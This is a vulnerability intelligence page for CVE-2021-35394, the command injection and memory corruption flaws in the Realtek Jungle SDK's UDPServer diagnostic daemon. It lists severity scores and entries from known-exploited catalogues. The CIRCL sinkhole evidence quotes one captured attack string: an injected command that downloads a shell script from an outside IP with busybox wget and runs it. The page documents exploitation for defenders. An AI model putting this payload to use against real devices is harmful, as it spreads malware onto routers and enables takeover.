CVE-2021-35394 (GCVE-0-2021-35394)

Vulnerability from cvelistv5 – Published: 2021-08-16 11:07 – Updated: 2025-10-21 23:25
VLAI CISA CIRCL KEVIntel
Summary
Realtek Jungle SDK version v2.x up to v3.4.14B provides a diagnostic tool called 'MP Daemon' that is usually compiled as 'UDPServer' binary. The binary is affected by multiple memory corruption vulnerabilities and an arbitrary command injection vulnerability that can be exploited by remote unauthenticated attackers.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SSVC
Exploitation: active Automatable: yes Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • n/a
  • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
CISA
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: 04ff11cf-8ec7-4007-84e8-b961b9fca797

Vulnerability ID: CVE-2021-35394

Status: Confirmed

Status Updated: 2021-12-10 00:00 UTC

Exploited: Yes

Timestamps
First Seen: 2021-12-10
Asserted: 2021-12-10
Scope
Notes: KEV entry: Realtek Jungle SDK Remote Code Execution Vulnerability | Affected: Realtek / Jungle Software Development Kit (SDK) | Description: RealTek Jungle SDK contains multiple memory corruption vulnerabilities which can allow an attacker to perform remote code execution. | Required action: Apply updates per vendor instructions. | Due date: 2021-12-24 | Known ransomware campaign use (KEV): Unknown | Notes (KEV): https://nvd.nist.gov/vuln/detail/CVE-2021-35394
Evidence

Type: Vendor Report

Signal: Successful Exploitation

Confidence: 80%

Source: cisa-kev

Details
Cwes CWE-78 CWE-138
Feed CISA Known Exploited Vulnerabilities Catalog
Product Jungle Software Development Kit (SDK)
Due Date 2021-12-24
Date Added 2021-12-10
Vendorproject Realtek
Vulnerabilityname Realtek Jungle SDK Remote Code Execution Vulnerability
Knownransomwarecampaignuse Unknown
References
Created: 2026-02-02 12:28 UTC | Updated: 2026-02-06 07:17 UTC
CIRCL
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: aec8c947-3fea-48c3-9bec-d2cec737fac3

Vulnerability ID: CVE-2021-35394

Status: Confirmed

Status Updated: 2026-03-12 10:45 UTC

Exploited: Yes

Characteristics
Remote Code Execution: Yes
Authentication Required: No
Local Access Required: Remote
Severity: 100.0
Timestamps
First Seen: 2026-03-12
Asserted: 2026-03-12
Last Seen: 2026-03-12
Evidence

Type: Sinkhole

Signal: In The Wild Attempts

Confidence: 100%

Source: cti-feed.circl.lu

Details
Note orf;cd /tmp; /bin/busybox wget http://181.215.60.5:8084/dick.sh; chmod +x dick.sh; ./dick.sh;
Created: 2026-03-12 10:46 UTC | Updated: 2026-03-12 10:46 UTC
KEVIntel
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: 0232616a-94e4-4452-9f42-9fa50dc88009

Vulnerability ID: CVE-2021-35394

Status: Confirmed

Status Updated: 2021-12-10 00:00 UTC

Exploited: Yes

Timestamps
First Seen: 2021-12-10
Asserted: 2021-12-10
Scope
Notes: KEVIntel entry: Realtek Jungle SDK version v2.x up to v3.4.14B provides a diagnostic tool called 'MP Daemon' that is usually compiled as 'UDPServer' binary. The... | Affected: Realtek / Jungle SDK | CVSS: 9.8 (CRITICAL) | Used in malware: unknown | Not yet in CISA KEV: False
Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: kevintel

Details
Feed KEVIntel (kevintel.com)
Title Realtek Jungle SDK version v2.x up to v3.4.14B provides a diagnostic tool called 'MP Daemon' that is usually compiled as 'UDPServer' binary. The...
Vendor Realtek
Product Jungle SDK
Added Date 2021-12-10T00:00:00.000Z
Cvss Score 9.8
Epss Score None
Cvss Severity CRITICAL
Epss Percentile None
Used In Malware unknown
Ahead Of Cisa Kev None
Not Yet In Cisa Kev False
References
Created: 2026-06-19 12:47 UTC | Updated: 2026-06-19 12:47 UTC
Show details on NVD website
To clipboard 

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}


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Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.